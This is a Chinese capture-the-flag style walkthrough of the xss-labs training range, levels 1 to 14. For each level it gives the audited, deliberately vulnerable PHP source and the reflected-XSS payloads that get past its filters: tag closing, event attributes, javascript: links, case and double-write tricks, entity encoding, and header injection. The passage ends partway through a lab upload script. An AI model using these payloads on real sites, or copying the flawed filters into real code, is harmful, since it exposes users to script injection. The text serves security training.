web-xss-labs


零、靶场部署

在线靶场:http://test.ctf8.com/

项目地址:https://github.com/do0dl3/xss-labs

用phpstudy搭建网站,下载xss-labs项目之后,放在www目录下。

访问测试:

一、level-01(基础反射型xss)

2.1 题面

2.2 解题

get请求提交了一个name参数,值为test,页面“欢迎用户”后会回显name的值。

调整name参数的值,确认回显内容和位置:name=12345678,

截屏2025-02-06 14.22.27

尝试xss poc:<script>alert(/xss/)</script>

通过✅。

2.3 代码审计

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
  • 这段代码重写了 window.alert 函数,当调用 alert 时,会弹出一个确认框,并跳转到 level2.php?keyword=test
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
  • 这段代码接收用户的GET请求参数,然后直接拼接输出到页面中,导致存在注入js代码的可能。
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
<meta http-equiv="content-type" content="text/html;charset=utf-8"> 这段代码的作用

代码解释

  • **<meta>**:HTML中的<meta>标签用于定义文档的元数据,这些元数据不会显示在页面上,但会被浏览器(如何显示内容或重新加载页面)或搜索引擎(关键词)等使用。
  • **http-equiv="content-type"**:这个属性用于指定文档的MIME类型和字符编码。content-type是HTTP头部字段,用于告诉浏览器文档的类型和字符编码方式。
  • **content="text/html;charset=utf-8"**:
    • text/html:指定文档的类型为HTML。
    • charset=utf-8:指定文档的字符编码为UTF-8。UTF-8是一种广泛使用的字符编码,可以支持多种语言的字符,包括中文、英文等。

作用总结

这段代码的作用是告诉浏览器:

  1. 这是一个HTML文档。
  2. 文档的字符编码是UTF-8。

使用UTF-8编码可以确保文档中的字符(尤其是非英文字符)能够正确显示,避免出现乱码问题。

小结

这一关是最基础的反射型xss,服务端将用户的GET请求参数直接进行拼接然后输出。

二、level-02 *(标签闭合触发xss代码)

2.1 题面

2.2 解题

  • 探测参数提交与回显逻辑

在搜索框输入内容,会被当作GET请求的keyword参数传递给服务器,然后keyword的值会回显到页面中。

  • 基础POC尝试
<script>alert(/xss/)</script>

js脚本执行失败,弹窗失败。POC完整的显示在页面上了,但是没有被当作脚本执行。

  • 查看网页源代码

发现<和>被转化成了html编码,所以浏览器无法执行js脚本。【此处一定要注意,是否还有其他地方存在提交的Poc?】

其他的poc也类似:

  • 尝试对<>进行html编码

没用。

  • 尝试其他绕过方法
<< >> 没用 
<scr<script>ipt>没用
&#x3c; //HTML 实体编码,16进制 没用

2.3 代码审计

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这一关不同之处在用htmlspecialchars函数对GET获取的keyword值进行了处理。

`htmlspecialchars()函数

htmlspecialchars 是一个常用的 PHP 函数,主要用于将特殊字符转换为 HTML 实体。它的作用是防止 XSS(跨站脚本)攻击,确保输出的内容是安全的。

1、函数定义

string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )

2、参数说明

  • **$string**:需要转换的字符串。
  • **$flags**:可选参数,用于指定转换的规则。默认值是 ENT_COMPAT | ENT_HTML401
    • ENT_COMPAT:将双引号(")转换为 HTML 实体,但不转换单引号(')。
    • ENT_QUOTES:将双引号(")和单引号(')都转换为 HTML 实体。
    • ENT_NOQUOTES:不转换任何引号。
    • ENT_HTML401:使用 HTML 4.01 规范。
    • ENT_HTML5:使用 HTML 5 规范。
    • ENT_SUBSTITUTE:如果遇到无效的编码,用一个特殊的字符替代。
    • ENT_DISALLOWED:将不被允许的字符标记为无效。
  • **$encoding**:可选参数,指定字符编码。默认值是 ini_get("default_charset"),通常为 UTF-8
  • **$double_encode**:可选参数,布尔值。如果设置为 true,则会将已编码的 HTML 实体再次编码;如果设置为 false,则不会对已编码的实体进行重复编码。

3、返回值

​ 返回转换后的字符串。

4、示例

<?php
$str = "<a href='test'>Test</a> & 'test'";
echo htmlspecialchars($str); // 输出:&lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt; &amp; &#039;test&#039;
?>

这一关htmlspecialchars函数的flags参数使用的是默认值。

$flags = ENT_COMPAT | ENT_HTML401 时,htmlspecialchars 函数会将以下特殊字符转换为 HTML 实体:

  • &(和号)会转换为 &
  • "(双引号)会转换为 "
  • <(小于号)会转换为 <
  • >(大于号)会转换为 >

需要注意的是,ENT_COMPAT 表示仅对双引号进行转义,而不会转义单引号。

再仔细分析网页源代码和这一关的源代码:

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';

虽然h2标签处使用了htmlspecialchars函数进行编码,但是input标签啊的value值还是用原始值拼接的。

那么构造如下的payload,闭合input标签然后插入js代码。

a"><script>alert(/xss/)</script><"

抓包,如下图所示,插入的恶意代码被成功渲染并执行:

小结

本关有一个特殊的坑,存在两处拼接处理GET参数的位置,一处使用htmlspecialchars进行了编码,另一处没有。观察要仔细且全面,对于没有使用htmlspecialchars函数编码的位置进行重点攻击。

三、level-03 *(基于事件属性触发xss代码)

3.1 题面

3.2 解题

  • 探测参数提交与回显逻辑

跟上一关类似,keyword获取输入的参数,然后通过GET方法提交给后端,然后回显到页面中。

  • 基础POC尝试
<script>alert(/xss/)</script>

查看网页源代码,发现所有存在Poc的位置,<>都被编码了:

3.3 代码审计

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这一关相较于上一关的区别是所有使用GET参数的位置都用htmlspecialchars函数进行了编码。

但是如何绕过呢?

能否不使用<>呢?

答案是可以的。我们可以为input标签添加属性:如onmouseover

构造如下的payload:

a' onmouseover='alert(/xss/)' '

当鼠标放在input框上时,触发js脚本的执行。

小结

这一关是上一关的进阶,在左右尖括号都被编码之后,如果参数正好在<标签之后,那么可以为标签添加事件属性触发xss代码的执行。

四、level-04(基于事件属性触发xss代码)

4.1 题面

4.2 解题

  • 探测参数提交与回显逻辑

跟之前一样,从input框获取keyword参数,然后get请求提交,然后回显到页面中。

  • 强力POC探测后端过滤器
<script " ' Oonn>

发现左右尖括号被替换为了空。

  • 构造payload
a" onmouseover=alert(/xss/) "

通过✅。

抓包响应

4.3 代码审计

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

这一关在input框的value处没有使用htmlspecialchars编码,而是使用自定义的过滤器处理。下面两行代码将左右尖括号替换为了空:

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

小结

这一关和level-04的解法基本一致,都是在input标签中添加事件属性。其实这一关的过滤器相比htmlspecialchars更弱,因为htmlspecialchars默认是会对双引号进行编码的

五、level-05(a标签+伪协议触发xss代码执行)

5.1 题面

5.2 解题

  • 探测参数提交和回显逻辑

和之前一样,仍然是从input获取输入的keyword,然后get请求发送到后端,然后回显到页面。

  • 强力POC探测后端过滤器
<script " ' Oonn>

可以看到script中间和on中间添加了下划线;单双引号没有被过滤;大写转化为了小写。

  • 思路分析

可以继续沿用之前的思路,通过事件属性来触发xss代码执行,找到一个不包含on的属性名即可。

<img src='./smile.jpg' onmouseover='alert(/xss/)'> //鼠标悬停在图片上的时候,会触发XSS代码
<input type= "text" onkeydown="alert(/xss/)"> //当点击键盘任意一个按键的时候触发。
<input type= "text" onkeyup="alert(/xss/)"> //松开键盘按钮触发
<input type= "button" onclick="alert(/xss/)" //点击按钮触发
<img src='./smile.jpg' onerror='alert(/xss/)'> //文档载入失败触发

但是上述事件属性都包含on。

可以使用其他标签加伪协议的方式:

  • 构造payload
"> <a href="javascript:alert(/xss/);"> 点我</a> <"

成功插入a标签伪协议,触发xss代码执行。

5.3 代码审计

仅展示核心代码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

input标签中使用自定的过滤器,先将内容转化为小写,然后将<script替换成<scr_ipt,将on替换成o_n

如果我们不使用<script>标签,并且不使用带有on字符串的事件属性,那么这个过滤器就能够被绕过。

小结

本关过滤了<script>标签和on字符串,使用a标签+伪协议触发xss代码执行。

六、level-06(大写绕过)

6.1 题面

6.2 解题

  • 探测参数提交和回显逻辑

和之前一样,仍然是从input获取输入的keyword,然后get请求发送到后端,然后回显到页面。

  • 强力POC探测后端过滤器
<script SCRscriptIPT " ' Oonn>

可以看到<script中间和on中间添加了下划线;单双引号没有被过滤;O没有被转化为小写;script没有被替换;

  • 构造payload

1) 基于上一关的经验构造下面的payload

"> <a href="javascript:alert(/xss/)">点我</a> <"

href属性被加了下划线。由于没有将大写转化为小写,可以基于js和html的大小写敏感性不同来绕过过滤器。

"> <a hRef="javascript:alert(/xss/)">点我</a> <"

2)由于O没有被转化为小写,尝试大小写绕过

" Onmouseover="alert(/xss/)" "

通过✅。

6.3 代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

input标签中使用自定的过滤器,没有将内容转化为小写,然后将<script替换成<scr_ipt,将on替换成o_n,将src替换为sr_c,将data替换为da_ta,将href替换为hr_ef

由于没有将大写转化为小写,可以用大写的内容轻松绕过。

小结

使用自定义的过滤器本质上是一种黑名单的方案,但是如果没有做大小写转换,通过对payload进行大小写的转换可以轻松绕过黑名单。

基于js和html的大小写敏感性不同来绕过过滤器。

七、level-07(双写绕过)

7.1 题面

7.2 解题

  • 探测参数提交和回显逻辑

和之前一样,仍然是从input获取输入的keyword,然后get请求发送到后端,然后回显到页面。

  • 强力POC探测后端过滤器
<script SCRscriptIPT" ' Oonn>

1)大写转为小写

2)将script替换为空,将on替换为空

3)单双引号没有过滤

4)<>没有过滤

  • 构造payload
"> <scrscriptipt>alert(/xss/)</scrscriptipt> <"

通过✅。

" oonnmouseover="alert(/xss/)" "

通过✅。

7.3 代码审计

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

将黑名单字符串替换为空,但是没有考虑递归,剩下的字符串组合起来能够构成“script”,“on”,“src”等非法字符串,从而绕过检测。

小结

双写绕过。

八、level-08(javascript 伪协议HTML实体编码)

8.1 题面

8.2 解题

  • 探测参数提交和回显逻辑

点击店家友情链接会将keyword的值通过get请求发送。

友情链接的内容如下:

内容会显示在a标签的href属性中。

  • 强力POC探测后端过滤器
<script SCRscriptIPT" ' Oonn>

经过处理后的payload

<scr_ipt scrscr_iptipt&quot ' oo_nn>

1)大写转化为了小写

2)script转为scr_ipt,on转为o_n

3)双引号编码

  • 构造payload

1)try1

"><a href="javescript:alert(/xss/)">点我</a><"

双引号被编码,href中加下划线,script中加下划线。

2)try2

javescript:alert(/xss/)

script被添加了下划线。

目前为止:不能用”,不能用script,不能用on,不能用href。

3)try3

尝试将javascript编码为html实体。

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;

payload:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/xss/)

通过✅。

8.3 代码审计

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
  • 转小写,然后破坏script、on、src、data、href、”

将javascript进行html编码之后,浏览器自动解析还原成javascript,伪协议代码被成功执行。

小结

html实体编码绕过。

九、level-09**(javascript 伪协议HTML实体编码,alert字符串绕过)

9.1 题面

9.2 解题

  • 探测参数提交和回显逻辑

仍然是通过GET传递keyword请求参数,但是友情链接的内容里面没有回显值。

回显值在keyword input框的value值中。

  • 强力POC探测后端过滤器
<script SCRscriptIPT" ' Oonn>

keyword input框的value值中左右尖扩招、双引号做了转译,符合htmlspecialchars函数的特征。

  • 输入格式合法的链接尝试

点击友情链接,成功访问到运行在127.0.0.1:80的web服务。

  • XSS攻击思路

1)try1

先用合法的链接格式闭合掉标签,然后添加事件属性。

http://127.0.0.1" onmouseover="alert(/xss/)" "

链接合法但是payload的数据经过了处理:

http://127.0.0.1&quot o_nmouseover=&quotalert(/xss/)&quot &quot

双引号被编码,on中间加了下划线。

2)try2

http://127.0.0.1" Onmouseover="alert(/xss/)" "

http://127.0.0.1&quot o_nmouseover=&quotalert(/xss/)&quot &quot

大写转化为了小写。

3)try3

http://127.0.0.1&#x22; Onmouseover='alert(/xss/)' &#x22;
服务端处理后:
http://127.0.0.1&#x22; o_nmouseover='alert(/xss/)' &#x22;
http://127.0.0.1&#x22; &#x6f;&#x6e;mouseover='alert(/xss/)' &#x22;

http://127.0.0.1&#x22; &#x6f;&#x6e;&#x6d;&#x6f;&#x75;&#x73;&#x65;&#x6f;&#x76;&#x65;&#x72;='alert(/xss/)' &#x22;
服务端处理后:
http://127.0.0.1&#x22; &#x6f;&#x6e;mouseover='alert(/xss/)' &#x22;
http://127.0.0.1&#x22; &#x6f;&#x6e;&#x6d;&#x6f;&#x75;&#x73;&#x65;&#x6f;&#x76;&#x65;&#x72;='alert(/xss/)' &#x22;

但是无法弹窗。

4)try4

http://127.0.0.1&#x22; o
nmouseover='alert(/xss/)' &#x22;

尝试o后面加回车,没效果。

5)在链接后尝试强力POC

http://127.0.0.1 <script SCRscriptIPT" ' Oonn>
http://127.0.0.1 <scr_ipt scrscr_iptipt&quot ' oo_nn>
  • 空格保留了
  • 大写转化为了小写
  • script和on中间加了下划线

9.3 代码审计

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

使用strpos检测输入中是否存在http://,http://并不需要出现在开头。如:

但是双引号被编码了,如何绕过呢?

对双引号进行编码之后貌似并不能闭合标签?

思路拓展:

不用尝试闭合标签了,直接在alert中包含http://字符串逃过检测。

构造如下的payload:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

9.4 问题*

为什么对双引号进行编码&#x22;之后不能被解析成",进而闭合href属性呢?

而javascript却可以解析?

HTML实体编码用在属性值中。之前对onmouseover进行编码其实是对属性名进行编码。

小结

avascript 伪协议HTML实体编码,alert字符串绕过。

⚠️:HTML实体编码一般用在javascript伪协议中,不用在双引号标签闭合场景中。

十、level-10**(回显参数隐藏)

10.1 题面

10.2 解题

  • 参数提交和回显逻辑

直接在keyword参数中修改提交,回显在页面中。

  • 强力POC探测服务端的过滤器
<script SCRscriptIPT " ' Oonn>

没有有效的回显,如何测试?

存在t_link、t_history、t_sort三个input输入框,可以通过GET/POST方法提交相应名称的参数来测试回显。

10.3 代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看到t_sort的GET类型的参数,然后拼接输出。

构造payload

123" onmouseover='alert(/xss/)' type="button

小结

隐藏的input框回显检测及绕过。

十一、level-11**(回显参数为http referer字段)

11.1 题面

11.2 解题

  • 探测参数提交与回显逻辑

查看源代码:

跟上一关类似,有一些隐藏的表单属性。提交参数检测回显。

可以看到t_sort处有回显。

  • 强力POC探测过滤逻辑
<script SCRscriptIPT " ' Oonn>

1)左右尖括号被编码

2)没有做大小写转换

3)script和on没有被破坏

4)双引号被编码

  • 构造payload
123' onmouseover='alert(/xss/)' type='button

引号不匹配,无法闭合属性。

尝试对双引号进行编码:

123&#x22; onmouseover='alert(/xss/)' type=&#x22;button

url貌似把&#x22;当成了参数#x22;

对上面的payload进行url编码:

%31%32%33%26%23%78%32%32%3b%20%6f%6e%6d%6f%75%73%65%6f%76%65%72%3d%27%61%6c%65%72%74%28%2f%78%73%73%2f%29%27%20%74%79%70%65%3d%26%23%78%32%32%3b%62%75%74%74%6f%6e

并不能闭合双引号。

11.3 代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

通过分析代码发现目标服务接收一个$_SERVER['HTTP_REFERER']的参数,并回显在t_ref的input框中。

t_sort参数通过htmlspecialchars进行了转译。

11.4 抓包修改参数

添加referer字段:

添加referer字段之后发送到服务端,一颗看到回显在了t_ref的input框中的value字段中。

并且仅仅过滤了左右尖括号。

  • 构造payload
123" onmouseover='alert(/xss/)' type="button

然后点击提交数据。

鼠标移动到按钮上,实现弹窗。

小结

这一关xss的参数在http请求头的referer字段中。

在实际的利用过程中,这种情形可能比较难利用,攻击者需要作为中间人篡改用户的请求头。

十二、level-12(回显参数为User Agent字段)

12.1 题面

12.2 解题

  • 探测回显参数:

分析XSS目标参数在User-Agent字段。

  • POC测试
<script SCRscriptIPT " ' Oonn>

可以看到仅仅过滤了左右尖括号。

  • 构建payload
123" onmouseover='alert(/xss/)' type="button

提交数据。

通过✅。

12.3 代码审计

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

$_SERVER['HTTP_USER_AGENT']是测试目标。

小结

针对User-Agent字段进行xss。

十三、level-13(回显参数为Cookie字段)

13.1 题面

13.2 解题

  • 探测回显参数

t_cook参数比较可疑,看着挺像cookie的。抓个包看看这个”call me maybe”哪来的?

确实是从cookie处来的。

  • POC测试
<script SCRscriptIPT " ' Oonn>

仅过滤了左右尖括号。

  • 构建payload
123" onmouseover='alert(/xss/)' type="button

提交数据。

触发xss代码执行。

13.3 代码审计

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

t_cook获取cookie

小结

针对Cookie字段进行xss。

十四、level-14***(图片exif信息xss攻击)

14.1 题面

(这个页面其实是不正常的显示,后面会提到。)

14.2 弯路

在不知道这关其实挂掉之后走的一些弯路

14.2.1 尝试解题

  • 探测回显逻辑

没有明显的参数提交和回显。

查看网页源代码:发现插入了一个iframe,访问的地址是http://www.exifviewer.org/,并将该网页嵌入在当前网页中。

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
  • 访问http://www.exifviewer.org/

网页源代码:

<!doctype html>
<html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_J6X9s0IorRD+0hqMUWIoDabixD/nOIsKZHj78GOfvQQg8+RdLBALRSO/DHhuUb+Gy20sAvzDn9qKgr8xI5T7cA==" lang="en" style="background: #2B2B2B;">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC">
    <link rel="preconnect" href="https://www.google.com" crossorigin>
</head>
<body>
<div id="target" style="opacity: 0"></div>
<script>window.park = "eyJ1dWlkIjoiYmMyMDJmMTktMTQzZC00YjdkLWIwZWMtMzRjN2RhOWJiYWZmIiwicGFnZV90aW1lIjoxNzM4OTA2MTQzLCJwYWdlX3VybCI6Imh0dHA6Ly93dzEuZXhpZnZpZXdlci5vcmcvIiwicGFnZV9tZXRob2QiOiJHRVQiLCJwYWdlX3JlcXVlc3QiOnt9LCJwYWdlX2hlYWRlcnMiOnt9LCJob3N0Ijoid3cxLmV4aWZ2aWV3ZXIub3JnIiwiaXAiOiI0OS45MC4yNi42MSJ9Cg==";</script>
<script src="/bJQhiZKST.js"></script>
</body>
</html>

有一些base64的数据:

MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_J6X9s0IorRD+0hqMUWIoDabixD/nOIsKZHj78GOfvQQg8+RdLBALRSO/DHhuUb+Gy20sAvzDn9qKgr8xI5T7cA==
解码失败。
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC
\x89PNG
\x1a
\x00\x00\x00
IHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00IDAT\x08\xd7c\xf8\xff\xff?\x00\x05\xfe\x02\xfe\xdc\xccY\xe7\x00\x00\x00\x00IEND\xaeB`\x82
eyJ1dWlkIjoiYmMyMDJmMTktMTQzZC00YjdkLWIwZWMtMzRjN2RhOWJiYWZmIiwicGFnZV90aW1lIjoxNzM4OTA2MTQzLCJwYWdlX3VybCI6Imh0dHA6Ly93dzEuZXhpZnZpZXdlci5vcmcvIiwicGFnZV9tZXRob2QiOiJHRVQiLCJwYWdlX3JlcXVlc3QiOnt9LCJwYWdlX2hlYWRlcnMiOnt9LCJob3N0Ijoid3cxLmV4aWZ2aWV3ZXIub3JnIiwiaXAiOiI0OS45MC4yNi42MSJ9Cg==

{"uuid":"bc202f19-143d-4b7d-b0ec-34c7da9bbaff",
"page_time":1738906143,
"page_url":"http://ww1.exifviewer.org/",
"page_method":"GET",
"page_request":{},
"page_headers":{},
"host":"ww1.exifviewer.org",
"ip":"49.90.26.61"}

目前找不到什么思路。

14.2.2 代码审计

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

14.2.3 关卡调整

关卡本身的问题导致页面没有展示出来,需要做一些配置。

点击网站设置:

屏蔽广告关闭:

把所有屏蔽都改成了允许,还是不行。

换个浏览器:

火狐浏览器这一关可以正常显示

火狐浏览器可以正常显示。但显示这个内容其实还是挂掉了。

14.3 关卡重新配置

在根目录下创建一个index.php文件,内容如下。

<?php
   echo '
   <html>
    <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <title>欢迎来到level14</title>
    </head> 
   <center>
   <form action="./index.php" method=POST enctype=multipart/form-data>
   <label for=file>文件名:</label><input type=file name=file id=file><br>
   <input type=submit name=submit value=提交></form></center></html>';
 
    try{
        // 允许上传的图片后缀
        $allowedExts = array("gif", "jpeg", "jpg", "png");
        $temp = explode(".", $_FILES["file"]["name"]);
        $extension = end($temp);     // 获取文件后缀名
        if ((($_FILES["file"]["type"] == "image/gif")
        || ($_FILES["file"]["type"] == "image/jpeg")
        || ($_FILES["file"]["type"] == "image/jpg")
        || ($_FILES["file"]["type"] == "image/pjpeg")
        || ($_FILES["file"]["type"] == "image/x-png")
        || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts))
        {
            if ($_FILES["file"]["error"] > 0)
            {
                echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            }
            else
            {
                echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
            }
            move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
        }
        else
        {
            echo "非法的文件格式";
        }
        $file = $_FILES["file"]["name"];
 
        $exif = exif_read_data($file, 0, true);
